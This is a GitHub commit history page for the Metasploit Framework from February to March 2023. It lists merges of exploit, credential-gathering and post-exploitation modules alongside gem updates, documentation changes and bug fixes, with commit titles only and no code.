Compare commits

..

1144 Commits

Author SHA1 Message Date
Metasploit b095a6ccd2 automatic module_metadata_base.json update 2023-03-22 13:15:21 -05:00
space-r7 67ac2dc584 Land #17771, add monitorr file upload rce 2023-03-22 13:00:38 -05:00
space-r7 3fe0801d92 use target_uri.path in requests 2023-03-22 12:50:11 -05:00
Grant Willcox 8356837e0a Land #17798, Update debug command to correctly output datastore values 2023-03-22 10:58:56 -05:00
Metasploit 16ecb2e649 automatic module_metadata_base.json update 2023-03-22 10:34:00 -05:00
adfoster-r7 d6e9e8d3bb Land #17735, fix some incorrect YARD parameters 2023-03-22 15:20:12 +00:00
Grant Willcox efd79bdd3a Land #17800, Update rubocop rule for module length limits 2023-03-22 09:44:12 -05:00
Metasploit 1918c856e1 automatic module_metadata_base.json update 2023-03-22 08:07:13 -05:00
adfoster-r7 e790b1aac6 Land #17802, update Python pingback payloads to no longer crash 2023-03-22 12:52:55 +00:00
Spencer McIntyre e02c80f10d Land #17747, Fix issues in wmap plugin 2023-03-21 17:19:23 -04:00
Spencer McIntyre 835f397f79 Add a missing include so the payloads generate 2023-03-21 16:49:25 -04:00
Metasploit 4c2b1c301f automatic module_metadata_base.json update 2023-03-21 14:23:14 -05:00
Jack Heysel 1f2a889d0c Land #17388, Zyxel router RCE
This module adds a new exploit module for a buffer
overflow in roughly 45 different Zyxel router and VPN models.
2023-03-21 15:07:04 -04:00
Jack Heysel f5d1aab01a Changed send_request_cgi to raw 2023-03-21 14:26:05 -04:00
adfoster-r7 5d0b7c191c Update rubocop rule for module length limits 2023-03-21 17:38:15 +00:00
adfoster-r7 dd576dd860 Update debug command to correctly output datastore values 2023-03-21 14:02:30 +00:00
adfoster-r7 56e5796157 Land #17784, Performance regression eager load 2023-03-21 12:59:02 +00:00
adfoster-r7 236de61130 Land #17583, Enhances info -d with references to AttackerKB 2023-03-21 12:38:36 +00:00
Dean Welch acf23e9c61 Sets config.eager_load to false for production envs 2023-03-21 12:31:33 +00:00
dwelch-r7 feaddc09cc Land #17795, Add documentation on debugging and running external python modules 2023-03-21 11:12:17 +00:00
dwelch-r7 2f45c3baa8 Land #17794, Update external modules to support python3.11 2023-03-21 11:09:55 +00:00
adfoster-r7 cf3d14d42f Update external modules to support python 3.11 2023-03-21 11:00:56 +00:00
adfoster-r7 83cc0bf5a9 Add documentation on debugging and running external python modules 2023-03-21 10:59:55 +00:00
dwelch-r7 158fae2a2c Land #17792, Fix external module crash for att open proxy scanner 2023-03-21 10:53:53 +00:00
Metasploit 1764f0806e automatic module_metadata_base.json update 2023-03-20 18:04:09 -05:00
bwatters 3b73adf05d Land #17401, Add encoder module x86/xor_poly
Merge branch 'land-17401' into upstream-master
2023-03-20 17:48:46 -05:00
h00die-gr3y c5ed25cd6c small update to documentation on vulnerable releases 2023-03-20 21:12:49 +00:00
h00die-gr3y e3df74ee5b Updates addressing review points of space-r7 2023-03-20 21:04:58 +00:00
H00die.Gr3y 871a251c94 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-03-20 21:44:11 +01:00
Grant Willcox d257bae706 Land #17783, Update reload_lib command to catch script errors 2023-03-20 13:56:27 -05:00
adfoster-r7 49f15527d1 Fix external module crash for att open proxy scanner 2023-03-20 15:43:54 +00:00
h00die-gr3y 5903addbd6 Updates adressing majority of review points 2023-03-19 15:13:09 +00:00
Metasploit 668735e418 automatic module_metadata_base.json update 2023-03-17 16:59:16 -05:00
space-r7 9e1be62f06 Land #17462, add WhatsUp Gold credential extractor 2023-03-17 16:44:17 -05:00
Jack Heysel 31a32ccd9b linting and srvhost check fix 2023-03-17 14:39:02 -04:00
jheysel-r7 56761a2f6d Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:01:02 -04:00
jheysel-r7 6b853b57c6 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:00:15 -04:00
jheysel-r7 764abaf087 Update documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 12:59:48 -04:00
jheysel-r7 df365b55a4 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-17 12:57:06 -04:00
Metasploit 01204106e9 automatic module_metadata_base.json update 2023-03-17 05:03:20 -05:00
Christophe De La Fuente 0df12fd694 Land #17754, Open web analytics 1.7.3 remote code execution 2023-03-17 10:15:33 +01:00
H00die.Gr3y 04e0fc70bf Apply suggestions from code review
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-03-16 19:25:03 +01:00
Metasploit 8b26064855 Bump version of framework to 6.3.9 2023-03-16 12:14:04 -05:00
Pflegusch 3baa894840 Add DefangedMode to warn the user 2023-03-16 18:07:28 +01:00
Spencer McIntyre 0c567c474e Land #17780, Update GSoC-2023-Project-Ideas.md
Update GSoC-2023-Project-Ideas.md to remove my name from mentor list
2023-03-16 10:06:29 -04:00
adfoster-r7 6f6559dc2c Update the reload_lib command to continue reloading the remaining files if a single file fails to load 2023-03-16 11:41:00 +00:00
Metasploit 335c00e2f9 automatic module_metadata_base.json update 2023-03-16 05:16:49 -05:00
Christophe De La Fuente daadb4f523 Land #17775 - Add exploit for Bitbucket env var RCE (CVE-2022-43781) 2023-03-16 11:01:07 +01:00
Grant Willcox 1fef0ebdb1 Update GSoC-2023-Project-Ideas.md
I am no longer a mentor for this year, so remove my name from the mentor list.
2023-03-15 14:15:28 -05:00
space-r7 8a76dab0bd update line numbers 2023-03-15 13:24:33 -05:00
Pflegusch 027793cce6 Remove unused variable res in check_connection 2023-03-15 19:00:26 +01:00
Pflegusch ac72c12734 Set timeout of 1s to make session available much quicker 2023-03-15 18:59:22 +01:00
Pflegusch d06e2d9e3d Remove nvd url 2023-03-15 18:56:23 +01:00
space-r7 22c05105d3 address review comments
reduces some code duplication, sets privileged to true,
and modifies documentation to reflect lhost / rhost opts
2023-03-15 11:18:03 -05:00
Pflegusch 3bf60a57ae Fix typo 2023-03-15 01:54:36 +01:00
Pflegusch cea8aa8e02 Update open_web_analytics_rce.md to work with latest code changes 2023-03-15 01:34:02 +01:00
Pflegusch ee0334dd40 since file got deleted, one can not trigger the payload anymore by opening the php url 2023-03-15 01:05:10 +01:00
space-r7 fddcae3d93 don't always create repo 2023-03-14 19:03:58 -05:00
Pflegusch 0cbebc8a4c Remove malicious .php file at the end of the exploit 2023-03-15 01:03:20 +01:00
Pflegusch 103def70e4 More detailed error message for failed regex match 2023-03-15 00:07:20 +01:00
Pflegusch bb9e214282 Fix line too long in open_web_analytics_rce docs 2023-03-15 00:01:15 +01:00
Pflegusch d72d47e502 Update Failure Codes and check for nil in the helper functions 2023-03-14 23:59:57 +01:00
Pflegusch 897aaf9572 Use Failure::UnexpectedReply when password cant be changed 2023-03-14 23:41:48 +01:00
Pflegusch 2310b0d942 Use Failure::NotFound when no valid cache file is found 2023-03-14 23:40:29 +01:00
Pflegusch 86f4a16cff Check if cache_request is not nil 2023-03-14 23:38:57 +01:00
Pflegusch e160e51711 Fix typos, update docs with advanced option SearchLimit, implement SearchLimit into module 2023-03-14 23:29:55 +01:00
Pflegusch 887551bf2c Use UnexptectedReply instead of Unknown 2023-03-14 22:29:38 +01:00
Pflegusch 8db10af8c0 check if res is not nil in addition to res.code 2023-03-14 22:28:52 +01:00
Pflegusch dff139d6d7 remove fail_with in check_connection as suggested 2023-03-14 22:24:08 +01:00
Pflegusch 2ce3aeed2b Add CONFIG_CHANGES to the side effects 2023-03-14 22:16:10 +01:00
Pflegusch c0ee250b6b Add some more URL references 2023-03-14 22:14:16 +01:00
Pflegusch cfaad7fb84 prepend AutoCheck 2023-03-14 22:10:44 +01:00
Pflegusch 9e64f02742 Use default values in option declaration instead of DefaultOptions 2023-03-14 22:08:05 +01:00
Pflegusch ac6e94770e use Failure::Unreachable and use unless instead of if/else 2023-03-14 22:03:31 +01:00
Pflegusch 311314984f Remove base64 requirement 2023-03-14 21:47:29 +01:00
Pflegusch cc4e455530 Remove directory datastore option and make username and password required 2023-03-14 21:46:45 +01:00
Pflegusch 3196a52bdf fix msftidy_docs.rb issues 2023-03-14 21:43:07 +01:00
Metasploit c2c5c0c339 automatic module_metadata_base.json update 2023-03-14 11:24:18 -05:00
Grant Willcox c53a22d3fb Land #17750, FortiNAC keyUpload.jsp arbitrary file write CVE-2022-39952 2023-03-14 11:09:40 -05:00
Grant Willcox 7217a60e41 Update documentation to provide better installation instructions 2023-03-14 10:13:27 -05:00
Grant Willcox 4a4b2a28d2 Update documentation to provide better installation instructions 2023-03-14 09:21:08 -05:00
Metasploit d9c5a3debf automatic module_metadata_base.json update 2023-03-14 05:44:22 -05:00
cgranleese-r7 ec7347cd49 Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425) 2023-03-14 10:16:18 +00:00
space-r7 1eeaff255e make username / password opts required 2023-03-13 16:45:48 -05:00
Grant Willcox 3bd4c15704 Correct architecture and do final fixes 2023-03-13 15:46:42 -05:00
space-r7 4bb843fe70 add documentation, adjust method of getting ids 2023-03-13 15:31:41 -05:00
h00die 8dfe58e617 review comment
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-03-13 14:42:26 -04:00
space-r7 4eef052fcd add usage of linux cmdstager, cleanup, description 2023-03-13 13:24:15 -05:00
Metasploit 192af217b6 Bump version of framework to 6.3.8 2023-03-13 13:23:26 -05:00
h00die-gr3y 015d79a4c2 added documentation 2023-03-13 18:05:08 +00:00
Grant Willcox 9ab335ee05 Land #17774, Fix undefined method word_wrap error on msfconsole boot 2023-03-13 13:00:06 -05:00
adfoster-r7 18ecd8be18 Land #17773, Fix kerberos tests failing in different timezones 2023-03-13 17:42:26 +00:00
adfoster-r7 ccf1a82664 Fix undefiend method word_wrap error on msfconsole boot 2023-03-13 17:24:57 +00:00
Dean Welch db343e629d Fix remaining hardcoded timezones in tests 2023-03-13 13:16:12 -04:00
Metasploit bc002de9f2 automatic module_metadata_base.json update 2023-03-13 11:52:26 -05:00
adfoster-r7 4afa8515a8 Land #17770, Revert "Added new Datastore options to ssh_login" 2023-03-13 16:30:05 +00:00
Grant Willcox 3a7da2ad8a Revert "Added new Datastore options to ssh_login" 2023-03-13 10:05:22 -05:00
h00die-gr3y 07d7248de8 initial module commit 2023-03-13 13:32:14 +00:00
Metasploit a26e839ef8 automatic module_metadata_base.json update 2023-03-13 06:35:38 -05:00
cgranleese-r7 29eec5733d Land #17757, Update formatting logic for info command 2023-03-13 11:12:58 +00:00
Pflegusch ddd594ac62 Update example in docs for latest code changes 2023-03-11 17:26:21 +01:00
Pflegusch 94e9504727 Use metasploit payload instead of hardcoded one 2023-03-11 14:47:32 +01:00
Pflegusch 3f7f28dd4f make use of full_uri and change regex 2023-03-11 14:25:04 +01:00
adfoster-r7 daef33fe33 Update formatting logic for info command 2023-03-09 23:23:16 +00:00
Jack Heysel 2a9ddae531 Updated description 2023-03-09 17:43:14 -05:00
Jack Heysel 06e7c3d702 Responded to comments updated docs 2023-03-09 17:39:53 -05:00
space-r7 2fbc80a44f add base cmdstager support for windows target 2023-03-09 16:24:12 -06:00
Metasploit d188170169 Bump version of framework to 6.3.7 2023-03-09 14:03:37 -06:00
Christophe De La Fuente 4866c2b8b8 Land #17686, Additional PetitPotam Methods 2023-03-09 19:29:16 +01:00
Grant Willcox fdcf55ef58 Land #17758, Update metasploit-payloads gem to 2.0.122 2023-03-09 11:34:18 -06:00
jheysel-r7 63e2376f64 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-03-09 12:31:30 -05:00
Metasploit d2d99b5db7 automatic module_metadata_base.json update 2023-03-09 11:01:25 -06:00
Spencer McIntyre 0cbac03f91 Update ruby_smb gem to 3.2.5 2023-03-09 11:58:49 -05:00
Spencer McIntyre 876b7c2c0f Update metasploit-payloads gem to 2.0.122
Includes changes from:
* rapid7/metasploit-payloads#621
* rapid7/metasploit-payloads#623
2023-03-09 11:40:45 -05:00
Grant Willcox beb9f87d53 Land #17507, SugarCRM webshell upload RCE [CVE-2023-22952] + Mixin for PNG embedded web shells 2023-03-09 10:16:57 -06:00
dwelch-r7 9961fffaa2 Land #17756, Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 16:12:52 +00:00
dwelch-r7 01399e4818 Land #17749, Add nthashes to keytab export 2023-03-09 16:09:13 +00:00
Pflegusch 38511f4d89 Rename establish_connection function 2023-03-09 17:06:07 +01:00
Pflegusch e66fd8f5ae Use rand_text_alphanumeric function 2023-03-09 17:03:48 +01:00
Pflegusch 69839d1924 Remove get_proxy_protocol function 2023-03-09 17:02:10 +01:00
Pflegusch 85185633b7 Use single back ticks and 3 instead of 4 at the end 2023-03-09 16:58:04 +01:00
Pflegusch 614f4b6d89 Make installation path of owa configurable 2023-03-09 16:32:28 +01:00
h00die-gr3y fc711131a2 added MIME, added break in mixin and added link with installation instructions 2023-03-09 09:28:46 -06:00
Grant Willcox deafceed00 Update documentation, library, and Gemspec from review 2023-03-09 09:28:27 -06:00
h00die-gr3y d3f84af790 Included mixin for PHP code injection at PNGs 2023-03-09 09:28:14 -06:00
h00die-gr3y dc8ebb722a Added support for native PHP payloads and reengineered webshells 2023-03-09 09:28:03 -06:00
h00die-gr3y c844d4d714 removed check and fix up some code 2023-03-09 09:27:29 -06:00
h00die-gr3y 771f32bd8a Add documentation and apply code updates 2023-03-09 09:27:03 -06:00
h00die-gr3y 378a667f76 init commit module 2023-03-09 09:26:55 -06:00
Pflegusch 2de53712bd Use Rex::Version for version comparison 2023-03-09 15:59:42 +01:00
Pflegusch 94ceeb075a Redirect is not necessary - replace with simple send_request_cgi request 2023-03-09 15:41:15 +01:00
Jeffrey Martin 350984bc41 Land #17661, Weekly dependency updates for Gemfile.lock 2023-03-09 08:36:26 -06:00
Pflegusch ee95eb2883 fix typo: establish_connection 2023-03-09 15:09:32 +01:00
adfoster-r7 5c1fcc3a72 Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 14:05:12 +00:00
Pflegusch 14b5c08a62 Fix the double slash in the shell url 2023-03-09 14:28:15 +01:00
Pflegusch ae7ca169fe Use the same IP as in the example 2023-03-09 14:08:50 +01:00
Pflegusch 3847c410b0 Small changes to the open_web_analytics_rce documentation 2023-03-09 14:05:06 +01:00
Pflegusch 7b0a54bb56 Add the documentation for the module 2023-03-09 13:59:27 +01:00
Pflegusch d59175a463 make it work for https and http and remove the tmp self signed cert bypass 2023-03-09 13:58:56 +01:00
Dean Welch 540f28d71b Fix crashes in wmap plugin 2023-03-09 12:07:40 +00:00
Pflegusch f0dbf54c69 use fail_with in get_cache_content function 2023-03-09 11:04:00 +01:00
Pflegusch 7068d4c3f1 remove LPORT, RPORT and SSL from DefaultOptions 2023-03-09 11:03:24 +01:00
space-r7 c69b5c9363 add creation of projects and multiple commits 2023-03-08 17:46:25 -06:00
Grant Willcox 100cfbccf9 Fix up some more slight things in documentation. Also tidy up some things in the module 2023-03-08 17:25:56 -06:00
Grant Willcox eeb30d2426 Fix up some typos etc from review in documentation 2023-03-08 16:44:06 -06:00
Pflegusch 76b05a7092 Change DisclosureDate according to nvd.nist.gov 2023-03-08 21:52:13 +01:00
Pflegusch b37be28191 Working module open web analytics 1.7.3 rce 2023-03-08 21:30:52 +01:00
Jack Heysel d31220ef1e Updated references 2023-03-08 14:17:34 -05:00
Jack Heysel 263223b783 Last second file reorganization fix 2023-03-08 14:08:46 -05:00
Jack Heysel dfae7e2fc4 FortiNAC keyUploap.jsp arbitrary file write CVE-2022-39952 2023-03-08 14:06:28 -05:00
Metasploit 05774d5f9c automatic module_metadata_base.json update 2023-03-08 12:32:46 -06:00
Christophe De La Fuente bbc071d254 Land #17737, Add Gather Wowza Streaming Engine Credentials 2023-03-08 19:13:21 +01:00
Metasploit 924d5eabee automatic module_metadata_base.json update 2023-03-08 12:10:57 -06:00
adfoster-r7 3bc4639235 Add nthashes to keytab export 2023-03-08 18:03:44 +00:00
Grant Willcox fbda738da9 Land #17727, Added new Datastore options to ssh_login 2023-03-08 11:43:57 -06:00
rohitkumarankam 599642bbb9 Updated variable names to be more specific 2023-03-08 10:53:24 -06:00
rohitkumarankam 28fb670d4d added sane defaults for new variables 2023-03-08 10:53:23 -06:00
rohitkumarankam 71e142a5ee updated variable names 2023-03-08 10:53:23 -06:00
rohitkumarankam 2c3005fee3 Added new Datastore options to ssh_login 2023-03-08 10:53:23 -06:00
Grant Willcox 0fc94f14e8 Bump up gems again 2023-03-08 10:26:29 -06:00
bcoles f62994b4c0 Add Gather Wowza Streaming Engine Credentials 2023-03-09 01:31:23 +11:00
Metasploit f8dbeb359a automatic module_metadata_base.json update 2023-03-08 08:18:44 -06:00
Christophe De La Fuente 6ef92915d2 Land #17741, Add in missing EDB reference to pfsense_pfblockerng_webshell 2023-03-08 14:53:09 +01:00
Arthur RAOUT 75002f16e6 Finally reverted bad changes 2023-03-08 13:45:25 +01:00
Arthur RAOUT 889aff9701 Revert accidental changes Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-08 13:41:26 +01:00
Grant Willcox 475209c768 Land #17746, Add LastPass master password example 2023-03-07 14:01:19 -06:00
Tod Beardsley de58b96d2a Add "a good example" of a LastPass password
When setting a new master password, LastPass helpfully suggests "r50$K28vaIFiYxaY" as a good example.

Sure, sounds good to me.
2023-03-07 13:32:50 -06:00
Tod Beardsley f5aa4296ff Merge branch 'rapid7:master' into master 2023-03-07 13:29:11 -06:00
Grant Willcox 10af603858 Land #17673, Msf::Payload::Apk: apktool: Decompile only main classes 2023-03-07 13:01:20 -06:00
Spencer McIntyre 7bcdf0386e Land #17745, Update metasploit-payloads gem to 2.0.120
Update metasploit-payloads gem to 2.0.120
2023-03-07 13:28:25 -05:00
Grant Willcox 92a91c759e Land #17743, Add documentation on profiling msfconsole and msfvenom performance 2023-03-07 12:25:40 -06:00
adfoster-r7 3338718f37 Add documentation on profiling msfconsole 2023-03-07 18:01:13 +00:00
Grant Willcox 795b9c9ebc Land #17744, Improve accuracy of msfconsole performance profiling 2023-03-07 11:36:47 -06:00
Grant Willcox 0bf809697c Update metasploit-payloads gem to 2.0.120 2023-03-07 10:55:07 -06:00
Metasploit a0accb2a36 automatic module_metadata_base.json update 2023-03-07 08:45:59 -06:00
Christophe De La Fuente ecbeceb817 Land #17733, Add Gather Wowza Streaming Engine Credentials 2023-03-07 15:27:52 +01:00
bcoles 3f781de8e9 Add Wowza Streaming Engine Manager Login Utility 2023-03-07 23:42:42 +11:00
adfoster-r7 6e06d1e6f8 Improve accuracy of msfconsole performance profiling 2023-03-07 12:41:07 +00:00
Grant Willcox 5c4d730cd3 Add in missing EDB reference 2023-03-06 14:32:01 -06:00
dwelch-r7 77c99da6d6 Land #17738, Fix Ruby 3.2 crash when running certain tools 2023-03-06 14:20:35 +00:00
adfoster-r7 4f75a44581 Fix Ruby 3.2 crash when running certain tools 2023-03-06 11:03:12 +00:00
Metasploit 10ea667b8f automatic module_metadata_base.json update 2023-03-06 05:00:24 -06:00
adfoster-r7 2c9aed6071 Land #17729, Replace deprecated File.exists? with File.exist? 2023-03-06 10:37:48 +00:00
Grant Willcox c5ef08b324 Add in additional YARD documentation fixes 2023-03-05 20:56:54 -06:00
Grant Willcox 08f07eccb6 Fix initial incorrect parameters in YARD documentation 2023-03-05 20:15:14 -06:00
bcoles 9dcaf93b29 Replace deprecated File.exists? with File.exist? 2023-03-05 14:30:47 +11:00
npm-cesium137-io 6adfc69b9a Merge pull request #2 from space-r7/whatsupgold-changes
Suggested changes for module
2023-03-04 14:41:01 -05:00
adfoster-r7 a2a9cd76b3 Land #17725, Fix number of OSX nightly installers we retain and fix typo 2023-03-04 00:23:12 +00:00
space-r7 99fb35fe84 refs/heads instead of refs/head 2023-03-03 17:24:39 -06:00
Grant Willcox 20003fd165 Land #17726, Update metasploit-payloads gem to 2.0.118 2023-03-03 16:40:16 -06:00
bwatters 9a4f8c0e7f Land #17716, Fix the reverse port forward message
Merge branch 'land-17716' into upstream-master
2023-03-03 16:28:49 -06:00
Spencer McIntyre 2c1de9b2e4 Update metasploit-payloads gem to 2.0.118
Includes changes from:
* rapid7/metasploit-payloads#619
* rapid7/metasploit-payloads#617
* rapid7/metasploit-payloads#610
2023-03-03 17:19:05 -05:00
Grant Willcox df4009c084 Fix number of OSX nightly installers we retain and fix typo 2023-03-03 14:12:27 -06:00
Metasploit fe84cb0804 automatic module_metadata_base.json update 2023-03-03 12:08:47 -06:00
Grant Willcox 6579dcc977 Land #17723, Fix PHP Base64 encoding 2023-03-03 11:53:46 -06:00
Metasploit 3b7a224f37 automatic module_metadata_base.json update 2023-03-03 08:32:09 -06:00
cgranleese-r7 252012f48d Land #17675, Add support for forging inter-realm Kerberos tickets 2023-03-03 14:17:48 +00:00
Metasploit f8c67e9498 automatic module_metadata_base.json update 2023-03-03 07:46:21 -06:00
cgranleese-r7 6259f02051 Land #17684, Add rbcd exploitation documentation to docs site 2023-03-03 13:31:53 +00:00
adfoster-r7 efd79eb638 Add support for forging inter-realm Kerberos tickets 2023-03-03 13:20:39 +00:00
adfoster-r7 0047ce5d3a Add rbcd exploitation documentation to docs site 2023-03-03 13:18:29 +00:00
cgranleese-r7 d5f9ff14d2 Land #17688, Fix broken wiki links, and add automation for future validation 2023-03-03 11:51:25 +00:00
adfoster-r7 31ca497e1f Fix broken wiki links, and add automation for future validation 2023-03-03 10:51:23 +00:00
Grant Willcox 975de9d479 Supply exception message when raising BadcharError and fix typo 2023-03-02 17:46:21 -06:00
Grant Willcox 96c9f60cc1 Land #17715, Update metasploit-payloads gem to 2.0.115 2023-03-02 16:52:24 -06:00
jvoisin 5b82c952ba Rubocop pass 2023-03-02 21:43:41 +01:00
jvoisin ae549ce1d4 Fix PHP base64 encoding 2023-03-02 21:40:27 +01:00
bwatters 5b4962e2bd Land #17721, Fix adapted payload stage encoding
Merge branch 'land-17721' into upstream-master
2023-03-02 14:03:06 -06:00
Metasploit 673a574b3d Bump version of framework to 6.3.6 2023-03-02 12:11:53 -06:00
adfoster-r7 f3975e968f Land #17635, Add support for full pac ul_type 19 and partial ticket checksum support 2023-03-02 14:22:58 +00:00
Metasploit ec2d71cbb7 automatic module_metadata_base.json update 2023-03-02 08:13:23 -06:00
Spencer McIntyre a418bd9c65 Land #17638, Lucee Scheduled Job RCE 2023-03-02 08:57:19 -05:00
Arthur RAOUT 7b7377257e fixed 2 rubocop offenses 2023-03-02 13:08:09 +01:00
Arthur RAOUT e178226efa Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-framework into New_x86_xor_encoder 2023-03-02 12:31:21 +01:00
Arthur RAOUT dd7e8328bb no test.rb 2023-03-02 12:31:07 +01:00
Arthur RAOUT 1461f9fb03 slight changes in the comments 2023-03-02 12:30:38 +01:00
Arthur RAOUT 6a81e0f6cb Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-02 12:10:00 +01:00
Professor Araout 83bcd1cc1b Fix typo in the comments line 41
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-03-02 11:50:56 +01:00
Spencer McIntyre 088f359cee Make stage encoding optional 2023-03-01 12:24:46 -05:00
Spencer McIntyre 08cb115368 Handle encoding stages of different architectures 2023-03-01 12:17:37 -05:00
JBince 1245124afa updated docs to reflect changes from smcintyre-r7 2023-02-28 19:58:39 -06:00
Alex dde4445dab Merge pull request #1 from smcintyre-r7/pr/collab/17638
Pr/collab/17638
2023-02-28 20:27:49 -05:00
Spencer McIntyre 3fabcc3421 Use coldfusion to decode base64 data
This means we don't need to rely on base64 being in the path. Also
invoke ARCH_CMD payloads on Windows through cmd.exe and not
powershell.exe.
2023-02-28 17:32:56 -05:00
Metasploit 82005fe3cf automatic module_metadata_base.json update 2023-02-28 16:31:20 -06:00
Spencer McIntyre c8aa491378 Fail with Unreachable when res is nil 2023-02-28 17:05:59 -05:00
Jack Heysel 3abd62076c Land #17624, Oracle E-Business Suite Module
This pull request adds an exploit module for CVE-2022-21587
an arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator as shipped with 12.2.3 through to 12.2.11
which results in RCE
2023-02-28 17:04:20 -05:00
Metasploit 89d9da87bd automatic module_metadata_base.json update 2023-02-28 15:56:29 -06:00
Spencer McIntyre a916163b49 Cleanup files and fixup messages 2023-02-28 16:41:57 -05:00
space-r7 b3e6767125 Land #17676, add SIS login module 2023-02-28 15:41:24 -06:00
space-r7 380a66916f use print instead of vprint 2023-02-28 15:40:03 -06:00
Spencer McIntyre 636d89cf67 Fix the reverse port forward message 2023-02-28 15:08:00 -05:00
Spencer McIntyre 75ed29964e Update metasploit-payloads gem to 2.0.115
Includes changes from:
* rapid7/metasploit-payloads#614
* rapid7/metasploit-payloads#611
2023-02-28 12:56:34 -05:00
Imran E. Dawoodjee 41c231b803 Convert to JSON before checks 2023-02-28 09:46:56 +08:00
Metasploit b8178397a9 automatic module_metadata_base.json update 2023-02-27 15:49:35 -06:00
Spencer McIntyre 2be54376bc Land #17699, Add in SCHANNEL support for LDAP 2023-02-27 16:35:30 -05:00
Spencer McIntyre d92b6e328a Fix up error message 2023-02-27 16:14:00 -05:00
Metasploit 1f370b3c9e automatic module_metadata_base.json update 2023-02-27 15:02:04 -06:00
bwatters 87f046f351 Land #17629, Fix #17629 #query_ldap issues
Merge branch 'land-17698' into upstream-master
2023-02-27 14:39:19 -06:00
Jack Heysel ac3e84d3fb Land #17679, Fix broken payload selection for RPC
Fix broken payload selection for Metasploit RPC
2023-02-27 15:19:50 -05:00
Grant Willcox 524f5e4e63 Check file exists first before trying to read 2023-02-27 14:12:09 -06:00
JBince 8b03f2fda8 Reworked payload execution logic 2023-02-27 11:09:34 -06:00
Grant Willcox 4cd50b4550 Address comments from review 2023-02-27 11:07:21 -06:00
Jack Heysel fc76f5f039 Land #17680, improve UX of metasploit docs site
Adds expand all and colapse all buttons to module
section of the docs site for a better UX
2023-02-27 11:31:46 -05:00
Imran E. Dawoodjee 2f08cf6c46 Improved version check, review round 1 2023-02-26 17:23:54 +08:00
Grant Willcox 47652e3b19 Land #17696, Update metasploit-payloads gem to 2.0.113 2023-02-25 16:41:21 -06:00
Grant Willcox 3c56cf7a15 Land #17701, Fix typo in psexec.rb 2023-02-25 10:42:37 -06:00
Grant Willcox 363a3415df Land #17700, Fix argument validation for the route command 2023-02-25 10:37:52 -06:00
Jeff McJunkin b7d373d247 Typo in psexec.rb 2023-02-25 08:15:34 -08:00
Grant Willcox 50fdd4536e Land #17695, Remove LDAP collection project from GSOC 2023 list 2023-02-25 09:26:05 -06:00
Spencer McIntyre 49a2f481b6 Fix argument validation for the route command 2023-02-24 15:36:52 -05:00
Grant Willcox fe8afed994 Change over to fail_with and add condition to fail when SSL is not enabled and SCHANNEL is the authentication mechanism 2023-02-24 14:13:13 -06:00
Metasploit 020d2d3302 automatic module_metadata_base.json update 2023-02-24 13:54:52 -06:00
Grant Willcox f6bfa6a61b Add in SCHANNEL support, and update modules to fix a hang when using to_json instead of get_operation_result. 2023-02-24 13:50:04 -06:00
Spencer McIntyre 20dbc175d1 Land #17697, Froxlor 2.0.7 is actually vulnerable too
Froxlor 2.0.7 is actually vulnerable too
2023-02-24 14:32:32 -05:00
Spencer McIntyre 26d9026fc2 Fix a filter error
When FILTER was nil, the check would fail causing `()` to be appended to
the LDAP query filter which would cause it to fail.
2023-02-24 13:51:58 -05:00
Spencer McIntyre fc8f94fff4 Fix #query_ldap to use the API
Fix #query_ldap to use the API provided by Windows instead of dealing
with the opaque BER data structures. This means that querying is now
reliant on documented APIs and will function on both 32-bit and 64-bit
Meterpreters.
2023-02-24 13:46:11 -05:00
Spencer McIntyre 9706ee9d9e Need to use #native_arch
Using #arch instead of #native_arch means that the Python Meterpreter
will be misclassified as ARCH_PYTHON and will be unable to use util
functions correctly.
2023-02-24 13:46:11 -05:00
Jack Heysel ca6faed172 Check method enhancement 2023-02-24 13:33:10 -05:00
Jack Heysel 5311a491e9 Froxlor 2.0.7 is actually vulnerable too 2023-02-24 13:18:34 -05:00
Spencer McIntyre 7db2d86147 Update metasploit-payloads gem to 2.0.113
Includes changes from:
  * rapid7/metasploit-payloads#604
  * rapid7/metasploit-payloads#605
  * rapid7/metasploit-payloads#607
  * rapid7/metasploit-payloads#606
  * rapid7/metasploit-payloads#609
2023-02-24 12:09:21 -05:00
Spencer McIntyre 22ad9ebe7f Remove the LDAP collection prject 2023-02-24 11:40:56 -05:00
bcoles b19ab03da1 Msf::Payload::Apk: apktool: Decompile only main classes 2023-02-25 01:08:20 +11:00
adfoster-r7 a408e3e27f Land #17687, Add additional documentation for HTTPRawHeaders Option 2023-02-24 10:19:18 +00:00
Metasploit 011ffb87bd automatic module_metadata_base.json update 2023-02-23 21:18:09 -06:00
Jack Heysel 5749b402af Land #17672, disable ClamAV on Linux
This PR includes a post module that will disable
ClamAV on Linux systems.
2023-02-23 21:51:48 -05:00
Jack Heysel 9a874c352b Added missing space in fail_with statement 2023-02-23 20:57:19 -05:00
DLL_Cool_J 9e9e7ac938 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-02-23 20:33:10 -05:00
DLL_Cool_J 0479215373 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
